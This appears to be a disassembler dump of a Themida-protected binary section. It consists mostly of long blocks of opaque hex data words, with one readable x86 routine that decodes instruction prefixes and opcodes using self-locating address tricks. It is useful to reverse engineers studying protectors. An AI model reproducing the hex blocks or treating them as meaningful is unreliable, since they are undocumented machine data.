		dd 12A47F0h, 0C63C35CCh, 4D1CB3EAh, 4E4AFAA3h, 2CFAE634h
		dd 30426E30h, 719245C3h, 6735CC01h, 951CF98Bh, 0B4F0FE42h
		dd 8Ah,	6FB95B7Eh, 3EEC973Eh, 80A2997Fh, 0A2107A6Ah, 658F5FF8h
		dd 3DF5D089h, 0BD6B15C7h, 0A0080460h, 3C5506CAh, 2235CC6Dh
		dd 0DB8CD8C8h, 5BFEB2C0h, 0E4F76D83h, 1D6C1759h, 1ECF4721h
		dd 3C1E7453h, 5187A9D6h, 9BCB628h, 0CC4D5CCAh, 648A5A35h
		dd 47DB8AC5h, 0CC4D7F94h, 9D896135h, 51A36FECh,	49BB67D0h
		dd 0FE0016CDh, 0EA1AA0F0h, 520FD2Ch, 0B7DC7F45h, 0B935CC87h
		dd 0B583341h, 8000000h,	87B82982h, 34AE35CCh, 865B623Eh
		dd 0D0923D6Ch, 0C5CD033Ah, 0D44C1DCFh, 0E497796Fh, 35CCE94Fh
		dd 308D7951h, 0FC7A9352h, 0B2D7275Bh, 0AAD3CF3Eh, 10AD471Bh
		dd 0AEDF3535h, 6AC7C46Bh, 3CBAB233h, 6AC7769Bh,	0F0827833h
		dd 2200D220h, 322EF89Bh, 58F379E7h, 336AC72Bh, 8FC53Dh
		dd 7E91C822h, 66E7866Ch, 0A68456ACh, 91A44A1Fh,	71C587AFh
		dd 389AC3BFh, 0E900F14Ch, 0A8F658F9h, 12Ch, 5BB844B8h
		dd 9032368h, 0E11C277Bh, 0E5913A24h, 0F13EB2FEh, 3D2D6019h
		dd 0C72D3EA5h, 0F21F3CA6h, 0E4336AFCh, 9987120Eh, 0FC0BB813h
		dd 0A51D336Ah, 0A84260AFh, 20877FF1h, 290416EEh, 293986DCh
		dd 0E9A59AC3h, 7399499Bh, 45924926h, 0E824F658h, 0E32A1EBh
		dd 0B313E8D8h, 0CB72984Ah, 0E69FBD7h, 60h, 258A7AB4h, 0FA5F2B43h
		dd 0CAA64C1Ah, 2133D98Dh, 0B8A81ED5h, 5BFC7A56h, 0B5CC3F56h
		dd 58FBA218h, 0B5CC3F2Bh, 20B5CF03h, 7A006EABh,	6DE70DDDh
		dd 0CC3FD92Ah, 6E11BE35h, 221EC8EBh, 2142F57Bh,	3735CC3Fh
		dd 8DF7EFDBh, 5A5343B2h, 0E2D8770Dh, 7035C957h,	7379E685h
		dd 69C3592Bh, 87000000h, 365BFC7Ah, 3835CCE9h, 8944B0C2h
		dd 0B1B20BDFh, 0F5736F5Bh, 0B2C30C42h, 49F0EA3Eh, 953E9927h
		dd 9B336AF3h, 0FCEE552Fh, 0AEBC9B16h, 93BD1A44h, 0A8BA2445h
		dd 0F0AAC605h, 2AE0336Ah, 0B2580AD8h, 0A75E9F67h, 6D0C1EB9h
		dd 8862381Fh, 46ACBED1h, 0C463E927h, 645E0FD9h,	25B0C2EEh
		dd 0A8036DA8h, 33E8DFC2h, 57E33E94h, 3A24E11Ch,	0B9768991h
		dd 54F5ED3Eh, 0AFFCE418h, 631771ACh, 6A80A211h,	987270DFh
		dd 206CA2E1h, 6F4B683Eh, 9E3C715h, 3BD191BCh, 0F31DC302h
		dd 84FE3A4Ah, 0D27A9456h, 82089EF9h, 0C641DCC8h, 0AC600EE4h
		dd 844E074Ah, 3796ECD0h, 3B1h, 821EE900h, 3168825Bh, 726CC9Eh
		dd 4AF325C8h, 93CA243Bh, 0E786507Ch, 2B5284A8h,	732AC4E4h
		dd 44E50FDCh, 96B75D09h, 18F768A4h, 2C890000h, 3A16824h
		dd 4890000h, 0E2895224h, 4C281h, 0EA810000h, 4,	5C241487h
		dd 56243C89h, 0B6211DBEh, 7EEC145h, 0EE81D6F7h,	779F3B67h
		dd 3391E681h, 0CE811ACFh, 3702055Eh, 98C1F681h,	0F089316Ch
		dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4812424h, 424h
		dd 0BB535F00h, 8, 8150FB01h, 1B902404h,	38F65AAh, 1B902B81h
		dd 0FF5B65AAh, 815F2434h, 4C4h,	2434FF00h, 4C48358h, 0FAEB1EE9h
		dd 0D0F86EFFh, 2A115ABAh, 0B4996989h, 0F9B86E68h, 306AB91h
		dd 0C6E0FFC5h, 0A946EDC6h, 4163A862h, 2A0FE3D5h, 0D9015B76h
		dd 0C872DBAEh, 202F10ECh, 0F64660B1h, 0E84C1C6Fh, 0Ah
		dd 94BBA261h, 0AC68C6Eh, 66603AF4h, 869AE181h, 5870Fh
		dd 0AFBB0000h, 61799073h, 0F2B70F59h, 62E2C181h, 0DB810000h
		dd 28DD0BC6h, 68h, 0BE900h, 0B3E80000h,	8CC5FEF7h, 66A12667h
		dd 0BF0F5FD2h, 39048BD7h, 0D2B70F60h, 42C227B9h, 0F081613Ch
		dd 2AAB7347h, 13E8h, 4980E400h,	59E9172Eh, 0BBC302D3h
		dd 0B0363D97h, 0A4918A7Ch, 815AD38Ah, 5766C8C0h, 0D08B516Dh
		dd 4EF0815Ah, 0F30CDDFh, 489F3BFh, 68F0F39h, 0F000000h
		dd 83h,	0DE800h, 0FCD50000h, 9A50A1A8h,	1B635D57h, 0E96D5F35h
		dd 0Bh,	0A836A5ECh, 2B1B69EBh, 5EFF0CE7h, 0F04EF83h, 285h
		dd 81D58A00h, 0FF9E14FFh, 16850FFFh, 80000000h,	23E9FBD7h
		dd 8C000000h, 4EA5F4ABh, 65B57747h, 4552DA5Ch, 69D381E6h
		dd 0E97EA782h, 0FFFFFF55h, 8925CB0Fh, 2CEA8CB2h, 8D8D2EA7h
		dd 6AB947Ah, 89C3B70Fh,	0A606AD8Dh, 830F6006h, 2, 0B5235F51h
		dd 6A60951h, 0D85C761h,	5C06A604h, 0E900006Ah, 5, 0FC1D293Dh
		dd 0E985C7D0h, 6A60Bh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E0ACC351h
		dd 9860064h, 0A6072995h, 61B5FF06h, 6A06A608h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0B74EC350h, 0B8666060h, 0B70F2B56h, 505061D1h, 0FF615F5Ah
		dd 0A61A7995h, 0DE806h,	627C0000h, 70DB12A0h, 34796580h
		dd 0F3C76F9h, 6A5BFEB7h, 5995FF00h, 8B06A629h, 0F4FEBC0h
		dd 9DC425ACh, 78947DFAh, 9C671254h, 77DB67E7h, 16C32F69h
		dd 17E59733h, 0EC267866h, 0A91BB755h, 5AAA0B8Ch, 0A7A8D2A1h
		dd 0B91D149Ah, 0BD1F2D54h, 19AA6880h, 11969305h, 0C057476Eh
		dd 72981DEDh, 0B2DE2EDEh, 0D86C2DFBh, 86BCA463h, 3CE9A092h
		dd 1, 4Eh dup(0)
		dd 83000000h, 0A630EDBDh, 840F0106h, 471h, 2985C6FCh, 4306A60Ch
		dd 0CE9h, 7F6D2500h, 59ED8446h,	5D5DA15Fh, 4E8E1h, 0D0F50000h
		dd 0AE9ECA5h, 5D000000h, 0AAE50099h, 0D51C96D4h, 52505068h
		dd 7E9h, 0CE352800h, 912D1E06h,	8F0F310Fh, 6, 310F5250h
		dd 585A585Ah, 424448Bh,	0AE9h, 316A9800h, 0D58F88AFh, 8B755E19h
		dd 50525000h, 0F616052h, 0F525031h, 5A585A31h, 60310F58h
		dd 13E8h, 0B60FAA00h, 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h
		dd 39F9C137h, 6161605Eh, 4489585Ah, 0F600424h, 0F89h, 0AE900h
		dd 31EE0000h, 964EF26Bh, 9A03FE6h, 66605861h, 8BE7BBBAh
		dd 0FFF861D3h, 0A60919B5h, 0B70F6006h, 0F1BF0FC3h, 20858D61h
		dd 0E906A971h, 6, 0B069FEB3h, 9E95789h,	10000000h, 75F39FECh
		dd 4038A100h, 89FCD0FFh, 0A61DF185h, 1890F06h, 0FC000000h
		dd 0C2985C6h, 0F95006A6h, 99897968h, 0F5250BFh,	68Fh, 8B0F00h
		dd 0F000000h, 0C6B06031h, 0BE8h, 8197AF00h, 4E41E5B1h
		dd 0E19B916Bh, 585A6159h, 2F243481h, 0E9173424h, 13h, 0C7544B8Fh
		dd 10CD591Bh, 1BABB1AFh, 0E8C5923Dh, 0FF50D648h, 0A60919B5h
		dd 1D8B0F06h, 60000000h, 14E9h,	62056E00h, 1C4D44CFh, 0DA477B9Ah
		dd 9D5E314Bh, 3EDF125Ch, 61FE8B37h, 7120858Dh, 11E906A9h
		dd 0E8000000h, 37DA6B19h, 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh
		dd 880FD0FFh, 0Ah, 81595660h, 68B5E6E1h, 8A0F612Dh, 1
		dd 558589F9h, 0F806A607h, 0FE9h, 60654100h, 842B5A54h
		dd 0A9379AB0h, 513BA480h, 5BA77568h, 7830FA0h, 60000000h
		dd 8AFB8B66h, 348161ECh, 0D40F5A24h, 60566050h,	8B0F5961h
		dd 5, 20F78166h, 0B5FF617Dh, 6A60919h, 8C0F6060h, 0
		dd 0D8BF0F61h, 20858D61h, 0F06A971h, 180h, 0D0FFFC00h
		dd 12870Fh, 0B9600000h,	4EAF2CC3h, 5E8h, 0BB304D00h, 615E9B02h
		dd 15D18589h, 0C6F506A6h, 0A60C2985h, 0DE95006h, 8D000000h
		dd 46032DB0h, 0E3D7C2C0h, 28DCA9CBh, 4E8h, 9CDC5600h, 12860F97h
		dd 50000000h, 860F52h, 0F000000h, 860F31h, 5A000000h, 52605058h
		dd 7E9h, 8207B200h, 1D8745BDh, 448B615Bh, 8F0F0424h, 2Bh
		dd 12E960h, 0B7DE0000h,	772C5Ah, 0BDA6AD13h, 0F73E9F81h
		dd 0A7B85C23h, 0CE8h, 0DA05D600h, 418ACC01h, 69097C85h
		dd 8B615F19h, 52506000h, 310F5250h, 310F585Ah, 585A5E51h
		dd 24448961h, 13E904h, 61570000h, 7460457Ch, 0C2147109h
		dd 0D5C3C4E3h, 1008A3F5h, 0FFFC5850h, 0A62F8DB5h, 858DF806h
		dd 6A63AC3h, 18B0Fh, 0FFFC0000h, 11E860D0h, 11000000h
		dd 6EF9FC94h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah,	615FF88Bh
		dd 10E9h, 0BD2ACD00h, 183B4D7Dh, 0BCB760FEh, 6B4BC4ABh
		dd 3D8589DCh, 0E906A62Dh, 0Dh, 0D3C8927Eh, 0FB637D83h
		dd 6CA93B9Ch, 12FE9D4h,	0B8600000h, 58986F86h, 0FC2ABA66h
		dd 800F9561h, 7, 0D78B6660h, 50615A56h,	7E9h, 0D338DA00h
		dd 9D5369F3h, 18D0F95h,	0F9000000h, 6AEC8Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 53926BC3h
		dd 0FCC4835Ch, 0FE9h, 72AF3B00h, 0F0885A1Bh, 1C9E8979h
		dd 7D3CAA5Dh, 0E8F560h,	5A000000h, 99CBEA81h, 45C706ABh
		dd 0FCh, 0EDBA8300h, 106A630h, 98840Fh,	6A520000h, 0FF0F6A00h
		dd 0A61DF192h, 82895A06h, 6AB94D3h, 94D79A8Dh, 0C75206ABh
		dd 12803h, 0FF505300h, 0A6075592h, 8D525A06h, 0AB94D79Ah
		dd 0B2FF5306h, 6AB94D3h, 2D3D92FFh, 0B5A06A6h, 8D5074C0h
		dd 0AB94D79Ah, 247B8D06h, 0F981C933h, 104h, 8141D474h
		dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 6A626C1h
		dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 26C1828Dh,	0FF5006A6h
		dd 0A615D192h, 0C00B5A06h, 45C7A075h, 1FCh, 0C707EB00h
		dd 0FC45h, 8B610000h, 0C2C9FC45h, 60F90008h, 61D0B70Fh
		dd 0E8D28BF8h, 0Eh, 2B8381F9h, 0EFFAF7CFh, 0C7A2BD0h, 0F5B84E0h
		dd 0C381C3B7h, 66E9h, 13E8h, 4B525800h,	0E7E5CA9h, 709BBAF3h
		dd 66694CC0h, 103E4EEAh, 8E8h, 0C337E400h, 51DEFF5Eh, 11E80Fh
		dd 54110000h, 97C7E005h, 887F0F69h, 65FF0B7Fh, 5E14721Eh
		dd 19BF5E5Ah, 813EDE38h, 0DE1E8EEFh, 7E93Eh, 6EA20000h
		dd 0E2019892h, 800B8B82h, 0F181EBD0h, 6C4C450h,	11E9h
		dd 0D179E800h, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0C18186CDh
		dd 37C87B52h, 53C7C281h, 0C18173C2h, 5B86DC33h,	89D6B70Fh
		dd 2EB830Bh, 2870Fh, 0F78B0000h, 0BF0F4B4Bh, 850F4FD1h
		dd 0FFFFFFB1h, 6EA8166h, 0C51248FFh, 0E1BE241Ch, 0A3629928h
		dd 0B770B1F1h, 0CB340A05h, 1A71DC79h, 5984C5FFh, 27847982h
		dd 0B7F07430h, 0B304A2D2h, 4B896B1Eh, 1B32D224h, 1A78BF3Fh
		dd 1A5E1D30h, 1A376666h, 44144730h, 6EBDFDF3h, 5EB5D514h
		dd 1A28EC14h, 4C727430h, 88B788F3h, 59FAF5ABh, 0DCDD3386h
		dd 7A344733h, 1A2C2F3Fh, 9DDD130h, 1634E830h, 36012264h
		dd 5CBB19E8h, 555CD6A4h, 0A394C1ACh, 0F6B46341h, 0A7B7C2CDh
		dd 1C92C81Dh, 5B0E730h,	91347430h, 19BBD3C7h, 9F3B1D30h
		dd 1A348E34h, 2EF2F856h, 1A34AAD9h, 0D14E5930h,	0F4363C56h
		dd 9FB962D0h, 1C9FA145h, 0F2641D5Ah, 1A348E33h,	42F71F10h
		dd 1E10E7B9h, 1E1095B1h, 1A34E824h, 77F72470h, 4ACFB156h
		dd 0D493A467h, 936DCF9Eh, 1A5E6334h, 1A374B60h,	4214D130h
		dd 5EBDB0F3h, 5EB57014h, 1A2E3E14h, 4A741D30h, 0D27746F3h
		dd 8E1C4C4Ah, 816326BDh, 9B52D79Bh, 4A373CE1h, 7C1070B9h
		dd 1D49DDB1h, 12D588CFh, 1A5E8896h, 1A37AF63h, 4114A330h
		dd 46BD8AF3h, 5EB5EC14h, 1A2F7014h, 49773A30h, 0EB74D0F3h
		dd 1025B44Fh, 1A20AFF5h, 4B82A330h, 3C3D92A7h, 0FD745B93h
		dd 2C07F33Bh, 70FC69AEh, 17DD13B1h, 0B9348E30h,	5E769A5Dh
		dd 8DD3EFA6h, 0D2FEEDB9h, 15F4636Eh, 1A3474BCh,	0BF89B930h
		dd 1A32BB2Eh, 0A7B78745h, 1C9268ADh, 4A2DD730h,	0A2F45A63h
		dd 1A34EC4Ah, 30E5F1B9h, 87B93C96h, 1C9CB85Ch, 426F5DCFh
		dd 35A9FAB3h, 6E34A596h, 0A2678127h, 1A34EC4Ah,	30E5F1B9h
		dd 87B93C96h, 1C9CBF6Bh, 426F5DCFh, 0F265475Ah,	1A34A333h
		dd 43F78810h, 1E10A4B9h, 1E1030B1h, 1A343A24h, 33F74C71h
		dd 7CEC40B0h, 9B8490B1h, 1A34A8D9h, 0D6165030h,	0A23EDAADh
		dd 364E3F65h, 0EDDFABBh, 0ED341D30h, 34F86BDAh,	8F711CCCh
		dd 38E878CEh, 4E9681E9h, 973DFB2Ch, 0B1AF2BADh,	0BDEEBA36h
		dd 9FE398BDh, 0EDC889Bh, 0C0344730h, 564CFFD3h,	14F249B1h
		dd 0C8B2143Bh, 0A27D1637h, 0AC828C3Ah, 0EABE471Ah, 0A0525ECFh
		dd 953B43C8h, 1A34A328h, 1A34C0D8h, 0B89B8330h,	0CB92BDF9h
		dd 0AF2E6D21h, 0D49A9C3Ah, 43CDBCD9h, 9E3B873Bh, 1A34A34Ch
		dd 0F262D15Ah, 1A34E833h, 44F72A10h, 1E104EB9h,	1E1059B1h
		dd 1A348E2Ch, 7AF71176h, 0F78D877Fh, 2349804Ch,	1DDDB950h
		dd 81347430h, 0AC77F4D8h, 0F36F8C8Dh, 1A348E3Bh, 78E4B719h
		dd 42670D9Ch, 7B029A71h, 556175BDh, 0A53B7296h,	1A3782C9h
		dd 0EDC1D30h, 28348E30h, 6CBB9444h, 14ED3BCAh, 6ED93024h
		dd 0B871BED4h, 7CECFA87h, 44512F8Fh, 1FDDFECFh,	3348E30h
		dd 50A51FF3h, 81533EBDh, 97C8D79Bh, 0B1B13FB5h,	1EBD7B36h
		dd 7C343A30h, 0E51A0D8Ah, 4D34E4E0h, 1A3444D8h,	0D96B8330h
		dd 3E48586Fh, 3E706934h, 1A346C34h, 0D9637D30h,	0B4CE49F0h
		dd 0D7B4DF01h, 0DA3F1ECFh, 1A75273Fh, 97CDD130h, 0BC7BBDADh
		dd 0E4BF1436h, 1A358251h, 4A541D30h, 1A349FD9h,	0E5910030h
		dd 3A23FC2Fh, 0B403B85Fh, 0FAA62E54h, 0F36C69BAh, 1A343A20h
		dd 9CA8E56Ah, 0A12A2242h, 9E236410h, 1E1425Ch, 97D72E51h
		dd 0B1AF84ADh, 49341E36h, 1A3439D8h, 0D96F3D30h, 3E68076Bh
		dd 3E70C634h, 1A34BA34h, 0D9679230h, 917570E2h,	0A53B2C2Eh
		dd 0E0BF5CC6h, 9FE398BDh, 0F0BE889Bh, 10DD97CFh, 7034A330h
		dd 0BBA5A06Ch, 45C1D16Fh, 15F47F1Dh, 1A344AB4h,	4D347730h
		dd 1A348DD8h, 0D96B6730h, 3E482A6Fh, 3E705034h,	1A34FC34h
		dd 0D9633330h, 1EB43509h, 7C341D30h, 15D3AE89h,	87B98F87h
		dd 1C92EC65h, 0F263D15Ah, 1A34E833h, 45F72B10h,	1E1046B9h
		dd 1E1059B1h, 1A348E27h, 0EDF71077h, 1556F738h,	1A34D4BCh
		dd 15975230h, 0C9BE2E4Ch, 1A343988h, 1FBB1230h,	0A5348E30h
		dd 532630D9h, 0A53B40CFh, 1A5E92E6h, 1A370065h,	47147430h
		dd 76BD67F3h, 5EB51914h, 1A288A14h, 4F714730h, 822D84F3h
		dd 0B4C4769Eh, 0A7B9F3BFh, 1C9FEF65h, 858EB7BDh, 678C1B9Bh
		dd 29BEC56Ch, 0BC38DAB5h, 0DBFB8836h, 533EBDD9h, 0C8D79B81h
		dd 0B13FB597h, 0BD7B36B1h, 343A301Eh, 1A0D8A7Ch, 0E983E0E5h
		dd 8BA4F305h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 37079D6Bh, 0D55EF98Ch, 0BF0F51E2h
		dd 8D0F5AF2h, 11h, 0B830Fh, 5E80000h, 0CA000000h, 6EB9F94h
		dd 0E9C38B5Eh, 11h, 0F216506Dh,	0CE1E094Bh, 598D5399h
		dd 0B619FD3Fh, 83C08B3Bh, 0A61EA5BDh, 9750006h,	2F9DBD83h
		dd 740006A6h, 8B535019h, 47AB8C0h, 85890000h, 6A61BF9h
		dd 0A5D39D8Dh, 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh, 50177400h
		dd 47AB853h, 85890000h,	6A61BF9h, 0A2749D8Dh, 0D3FF06A8h
		dd 11E8585Bh, 0D5000000h, 4D9E8818h, 8C22C15Eh,	0F0A6B6FAh
		dd 0A6DA1897h, 264C5BBEh, 5E95971h, 0C9000000h,	0CC27915Fh
		dd 0C8E9C08Bh, 88000001h, 7 dup(88004188h), 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0ABA27EEDh, 85C76006h
		dd 6ABA1CBh, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0ABA1CF85h, 606h
		dd 24E900h, 858D0000h, 6ABA1D3h, 23858D50h, 5006ABA2h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0A1CF8589h, 36106ABh
		dd 0ABA1CFB5h, 0CB858B06h, 5D06ABA1h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A4D26
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A4D32
; ---------------------------------------------------------------------------


loc_5A4D26:				; CODE XREF: Themida_:005A4D0Fj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A4D32:				; CODE XREF: Themida_:005A4D21j
		push	ebx
		push	esi
		push	edi


loc_5A4D35:				; CODE XREF: Themida_:005A4D8Aj
					; Themida_:005A4DA6j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A4D48:				; CODE XREF: Themida_:005A4D6Fj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6ABA335h
		lea	ebp, [ebp+6ABA1ABh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A4D75
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A4D48


loc_5A4D75:				; CODE XREF: Themida_:005A4D64j
		cmp	cl, 0Bh
		jz	loc_5A4DD2
		cmp	al, 66h
		jnz	loc_5A4DB3
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A4D35
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A4DAB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A4D35
; ---------------------------------------------------------------------------


loc_5A4DAB:				; CODE XREF: Themida_:005A4D98j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A4DB3:				; CODE XREF: Themida_:005A4D80j
		cmp	al, 67h
		jnz	loc_5A4D35
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A4D35
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A4D35
; ---------------------------------------------------------------------------


loc_5A4DD2:				; CODE XREF: Themida_:005A4D78j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A4DFE
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A4E03
; ---------------------------------------------------------------------------


loc_5A4DFE:				; CODE XREF: Themida_:005A4DDDj
		movzx	edi, al
		shr	edi, 1


loc_5A4E03:				; CODE XREF: Themida_:005A4DF9j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6ABA3EDh
		lea	ebp, [ebp+6ABA0ABh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A4F85
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A4EC9
		dec	ecx
		jz	loc_5A4EAC
		dec	ecx
		jnz	loc_5A4F1C
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A4F18
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A4E8B
		mov	byte ptr [ebp+0Bh], 2


loc_5A4E8B:				; CODE XREF: Themida_:005A4E81j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6ABA479h
		mov	dword ptr [ebp+6ABA1CBh], 1
		pop	ebp
		jmp	loc_5A4F1C
; ---------------------------------------------------------------------------


loc_5A4EAC:				; CODE XREF: Themida_:005A4E66j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A4EF6
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A4EF6
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A4EF6
; ---------------------------------------------------------------------------


loc_5A4EC9:				; CODE XREF: Themida_:005A4E5Fj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A4F0F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A4EFE
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A4EF6
		mov	[ebp+0Bh], cl


loc_5A4EF6:				; CODE XREF: Themida_:005A4EB0j
					; Themida_:005A4EBAj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A4F1C
; ---------------------------------------------------------------------------


loc_5A4EFE:				; CODE XREF: Themida_:005A4ED7j
		cmp	dl, 5
		jnz	loc_5A4F1C
		mov	[ebp+0Bh], dl
		jmp	loc_5A4F1C
; ---------------------------------------------------------------------------


loc_5A4F0F:				; CODE XREF: Themida_:005A4ECDj
		cmp	dl, 6
		jnz	loc_5A4F1C


loc_5A4F18:				; CODE XREF: Themida_:005A4E77j
		mov	byte ptr [ebp+0Bh], 3


loc_5A4F1C:				; CODE XREF: Themida_:005A4E6Dj
					; Themida_:005A4EA7j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A4F4A
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A4F2C:				; CODE XREF: Themida_:005A4F42j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A4F2C
		mov	esi, edx


loc_5A4F4A:				; CODE XREF: Themida_:005A4F1Fj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A4F7F
		cmp	edi, 7Fh
		ja	loc_5A4F7F
		test	bl, 38h
		jnz	loc_5A4F7F
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A4F79
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A4F7C
; ---------------------------------------------------------------------------


loc_5A4F79:				; CODE XREF: Themida_:005A4F6Aj
		push	1
		pop	eax


loc_5A4F7C:				; CODE XREF: Themida_:005A4F74j
		mov	[ebp-1], al


loc_5A4F7F:				; CODE XREF: Themida_:005A4F4Ej
					; Themida_:005A4F57j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A4F85:				; CODE XREF: Themida_:005A4E2Fj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A4FB0
		dec	eax
		dec	eax
		jz	loc_5A4FA6
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A4FB8
; ---------------------------------------------------------------------------


loc_5A4FA6:				; CODE XREF: Themida_:005A4F95j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A4FB5
; ---------------------------------------------------------------------------


loc_5A4FB0:				; CODE XREF: Themida_:005A4F8Dj
		mov	al, [ebp-3]
		add	al, 4


loc_5A4FB5:				; CODE XREF: Themida_:005A4FABj
		add	[ebp-1], al


loc_5A4FB8:				; CODE XREF: Themida_:005A4FA1j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A4FE0
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A4FCB:				; CODE XREF: Themida_:005A4FDAj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A4FCB


loc_5A4FE0:				; CODE XREF: Themida_:005A4FC0j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0ABA27885h, 55858906h, 8D06A608h, 0ABA6438Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8D898AD8h, 6A606ADh,	0CE9h, 0A41C3700h, 6760CE67h, 5FA5E7BAh
		dd 0D85C71Dh, 9006A604h, 0FC00006Fh, 0BE985C7h,	6A6h, 8B660000h
		dd 5DB5FFDFh, 0F506A613h, 1A7995FFh, 8D0906A6h,	6A63395h
		dd 95FF006Ah, 6A62959h,	3DEBC08Bh, 22BD6166h, 8D3A53F0h
		dd 0A8484A5Ah, 0FC74651Dh, 7C7E5AD9h, 91E62058h, 38F5E8C8h
		dd 2DCF4174h, 0C6DD09F8h, 0D2132FB9h, 4ED10D52h, 0BDC699FBh
